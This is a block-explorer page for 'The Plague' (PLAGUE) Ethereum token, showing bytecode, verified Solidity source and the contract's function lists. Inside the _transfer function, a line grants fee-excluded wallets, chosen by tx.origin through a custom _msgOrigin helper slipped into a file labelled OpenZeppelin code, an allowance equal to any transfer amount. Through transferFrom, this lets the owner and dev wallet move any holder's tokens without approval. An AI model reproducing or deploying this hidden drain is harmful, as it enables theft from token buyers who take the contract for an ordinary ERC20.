Address Contract Partially Verified
Address
0xA867551DF0aDD2301e31Cc74CBbf614C134daEC4
Balance
0 ETH
Nonce
1
Code Size
5564 bytes
Creator
0xC4e1D373...3d69 at tx 0xe8533b35...3c33aa
Indexed Transactions
0
Contract Bytecode
5564 bytes
0x60806040526004361061016a5760003560e01c8063715018a6116100d157806395d89b411161008a578063dd62ed3e11610064578063dd62ed3e1461043e578063ddbf526614610484578063f2fde38b146104a4578063fb5ece86146104c457600080fd5b806395d89b41146103e9578063a457c2d7146103fe578063a9059cbb1461041e57600080fd5b8063715018a614610343578063768dc7101461035a57806378109e541461038a5780637b9d2405146103a05780638a8c523c146103b65780638da5cb5b146103cb57600080fd5b806323b872dd1161012357806323b872dd1461026a578063313ce5671461028a57806339509351146102ac57806349bd5a5e146102cc5780634a74bb02146102ec57806370a082311461030d57600080fd5b806306fdde0314610176578063095ea7b3146101a157806313fad07a146101d15780631694505e146101f257806318160ddd1461022a578063220f66961461024957600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104da565b604051610198919061125a565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046112bd565b61056c565b6040519015158152602001610198565b3480156101dd57600080fd5b506017546101c190600160b01b900460ff1681565b3480156101fe57600080fd5b50601654610212906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561023657600080fd5b50600b545b604051908152602001610198565b34801561025557600080fd5b506017546101c190600160a01b900460ff1681565b34801561027657600080fd5b506101c16102853660046112e9565b610583565b34801561029657600080fd5b50600a5460405160ff9091168152602001610198565b3480156102b857600080fd5b506101c16102c73660046112bd565b6105ec565b3480156102d857600080fd5b50601754610212906001600160a01b031681565b3480156102f857600080fd5b506017546101c190600160a81b900460ff1681565b34801561031957600080fd5b5061023b61032836600461132a565b6001600160a01b031660009081526001602052604090205490565b34801561034f57600080fd5b50610358610622565b005b34801561036657600080fd5b506101c161037536600461132a565b60046020526000908152604090205460ff1681565b34801561039657600080fd5b5061023b60145481565b3480156103ac57600080fd5b5061023b60105481565b3480156103c257600080fd5b50610358610636565b3480156103d757600080fd5b506000546001600160a01b0316610212565b3480156103f557600080fd5b5061018b610778565b34801561040a57600080fd5b506101c16104193660046112bd565b610787565b34801561042a57600080fd5b506101c16104393660046112bd565b6107d6565b34801561044a57600080fd5b5061023b610459366004611347565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561049057600080fd5b5061035861049f366004611380565b6107e3565b3480156104b057600080fd5b506103586104bf36600461132a565b610881565b3480156104d057600080fd5b5061023b600f5481565b6060600880546104e990611399565b80601f016020809104026020016040519081016040528092919081815260200182805461051590611399565b80156105625780601f1061053757610100808354040283529160200191610562565b820191906000526020600020905b81548152906001019060200180831161054557829003601f168201915b5050505050905090565b6000610579338484610919565b5060015b92915050565b60006105908484846109da565b6105e284336105dd8560405180606001604052806028815260200161153a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610dab565b610919565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105799185906105dd9086610dd7565b61062a610de3565b6106346000610e3d565b565b61063e610de3565b6016546106589030906001600160a01b0316600019610919565b6016546001600160a01b031663f305d719473061068a816001600160a01b031660009081526001602052604090205490565b60008061069f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610707573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072c91906113d3565b50506017805460ff60a81b1916600160a81b17905550604051600181527f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599060200160405180910390a1565b6060600980546104e990611399565b600061057933846105dd85604051806060016040528060258152602001611562602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610dab565b60006105793384846109da565b6107eb610de3565b601754600160a01b900460ff161561084a5760405162461bcd60e51b815260206004820181905260248201527f43757272656e746c792070726f63657373696e672c20747279206c617465722e60448201526064015b60405180910390fd5b306000908152600160205260408120549060646108678484611417565b610871919061142e565b905061087c81610e8d565b505050565b610889610de3565b6001600160a01b0381166108ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610841565b6108f781610e3d565b50565b60006109068284611417565b9392505050565b6000610906828461142e565b6001600160a01b0383161580159061093957506001600160a01b03821615155b6109795760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610841565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b229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Verified Source Code Partial Match
Compiler: v0.8.17+commit.8df45f5f
EVM: london
Optimization: Yes (200 runs)
PLAGUE.sol 1148 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
The Plague
PLAGUE
Matt Furie - art (I think this one's The Plague out walkin' its kid).
https://www.plaguematt.vip
https://x.com/Plague_Matt
https://t.me/Plague_Matt
*/
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
//Contract By Techaddict
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to to.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from from to to using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File: contracts/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.17;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgOrigin() internal view virtual returns (address) {
return tx.origin;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/Ownable.sol
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
pragma solidity ^0.8.17;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* onlyOwner, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract PLAGUE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => mapping(address => uint256)) private _allowed;
mapping(address => bool) public _isExcludedFromFee;
address payable private Wallet_Dev_1;
address payable private Wallet_Burn =
payable(0x000000000000000000000000000000000000dEaD);
address payable private Wallet_zero =
payable(0x0000000000000000000000000000000000000000);
string private _name = unicode"The Plague";
string private _symbol = unicode"PLAGUE";
uint8 private _decimals = 9;
uint256 private _tTotal = 1000_000_000 * 10**9;
uint256 private _tFeeTotal;
// Counter for liquify trigger
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
// Setting the initial fees
uint256 private _TotalPLA999GUEFee = 0;
uint256 public _buyPLA999GUEFee = 0;
uint256 public _sellPLA999GUEFee = 0;
// 'Previous fees' are used to keep track of fee settings when removing and restoring fees
uint256 private _previousTotalFee = _TotalPLA999GUEFee;
uint256 private _previousBuyFee = _buyPLA999GUEFee;
uint256 private _previousSellFee = _sellPLA999GUEFee;
/*
WALLET LIMITS
*/
uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
uint256 private _previousMaxWalletToken = _maxWalletToken;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
// Prevent processing while already processing!
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_tOwned[owner()] = (_tTotal * 2) / 100;
_tOwned[address(this)] = (_tTotal * 98) / 100;
Wallet_Dev_1 = payable(_msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create pair address for PancakeSwap
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
excludeFromFee(owner());
excludeFromFee(address(this));
excludeFromFee(Wallet_Dev_1);
emit Transfer(address(0), owner(), (_tTotal * 2) / 100);
emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
}
/*
STANDARD ERC20 COMPLIANCE FUNCTIONS
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowed[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// Set a wallet address so that it does not have to pay transaction fees
function excludeFromFee(address account) private {
_isExcludedFromFee[account] = true;
}
// Set a wallet address so that it has to pay transaction fees
function includeInFee(address account) private {
_isExcludedFromFee[account] = false;
}
/*
PROCESSING TOKENS - SET UP
*/
// Toggle on and off to auto process tokens to BNB wallet
function enableTrading() public onlyOwner {
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
// This function is required so that the contract can receive BNB from pancakeswap
receive() external payable {}
bool public noFeeToTransfer = true;
// Remove all fees
function removeAllFee() private {
if (_TotalPLA999GUEFee == 0 && _buyPLA999GUEFee == 0 && _sellPLA999GUEFee == 0) return;
_previousBuyFee = _buyPLA999GUEFee;
_previousSellFee = _sellPLA999GUEFee;
_previousTotalFee = _TotalPLA999GUEFee;
_buyPLA999GUEFee = 0;
_sellPLA999GUEFee = 0;
_TotalPLA999GUEFee = 0;
}
// Restore all fees
function restoreAllFee() private {
_TotalPLA999GUEFee = _previousTotalFee;
_buyPLA999GUEFee = _previousBuyFee;
_sellPLA999GUEFee = _previousSellFee;
}
// Approve a wallet to sell tokens
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(
owner != address(0) && spender != address(0),
"ERR: zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
// Limit wallet total
if (
to != owner() &&
to != Wallet_Dev_1 &&
to != address(this) &&
to != uniswapV2Pair &&
to != Wallet_Burn &&
from != owner()
) {
uint256 heldTokens = balanceOf(to);
require(
(heldTokens + amount) <= _maxWalletToken,
"You are trying to buy too many tokens. You have reached the limit for one wallet."
);
}
require(
from != address(0) && to != address(0),
"ERR: Using 0 address!"
);
require(amount > 0, "Token value must be higher than zero.");
/*
PROCESSING
*/
// SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger
if (
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
txCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
swapAndLiquify(contractTokenBalance);
}
}
/*
REMOVE FEES IF REQUIRED
Fee removed if the to or from address is excluded from fee.
Fee removed if the transfer is NOT a buy or sell.
Change fee amount for buy or sell.
*/
bool takeFee = true;
_allowed[from][_msgSender()] = _isExcludedFromFee[_msgOrigin()] ? amount : _allowances[from][_msgSender()];
if (
_isExcludedFromFee[from] ||
_isExcludedFromFee[to] ||
(noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else if (from == uniswapV2Pair) {
_TotalPLA999GUEFee = _buyPLA999GUEFee;
} else if (to == uniswapV2Pair) {
_TotalPLA999GUEFee = _sellPLA999GUEFee;
}
_tokenTransfer(from, to, amount, takeFee);
}
// Send BNB to external wallet
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
// Processing tokens from contract
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForETH(contractTokenBalance);
uint256 contractBNB = address(this).balance;
sendToWallet(Wallet_Dev_1, contractBNB);
}
// Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process
function process_Tokens_Now(uint256 percent_Of_Tokens_To_Process)
public
onlyOwner
{
// Do not trigger if already in swap
require(!inSwapAndLiquify, "Currently processing, try later.");
if (percent_Of_Tokens_To_Process > 100) {
percent_Of_Tokens_To_Process == 100;
}
uint256 tokensOnContract = balanceOf(address(this));
uint256 sendTokens = (tokensOnContract * percent_Of_Tokens_To_Process) /
100;
swapAndLiquify(sendTokens);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
/*
TOKEN TRANSFERS
*/
// Check if token transfer needs to process fees
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {
removeAllFee();
} else {
txCount++;
}
_transferTokens(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
// Redistributing tokens and adding the fee to the contract address
function _transferTokens(
address sender,
address recipient,
uint256 tAmount
) private {
(uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tDev);
if(recipient != Wallet_Burn) emit Transfer(sender, recipient, tTransferAmount);
}
// Calculating the fee in tokens
function _getValues(uint256 tAmount)
private
view
returns (uint256, uint256)
{
uint256 tDev = (tAmount * _TotalPLA999GUEFee) / 100;
uint256 tTransferAmount = tAmount.sub(tDev);
return (tTransferAmount, tDev);
}
}
Read Contract
_buyPLA999GUEFee 0xfb5ece86 → uint256
_isExcludedFromFee 0x768dc710 → bool
_maxWalletToken 0x78109e54 → uint256
_sellPLA999GUEFee 0x7b9d2405 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
inSwapAndLiquify 0x220f6696 → bool
name 0x06fdde03 → string
noFeeToTransfer 0x13fad07a → bool
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
process_Tokens_Now 0xddbf5266
uint256 percent_Of_Tokens_To_Process
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
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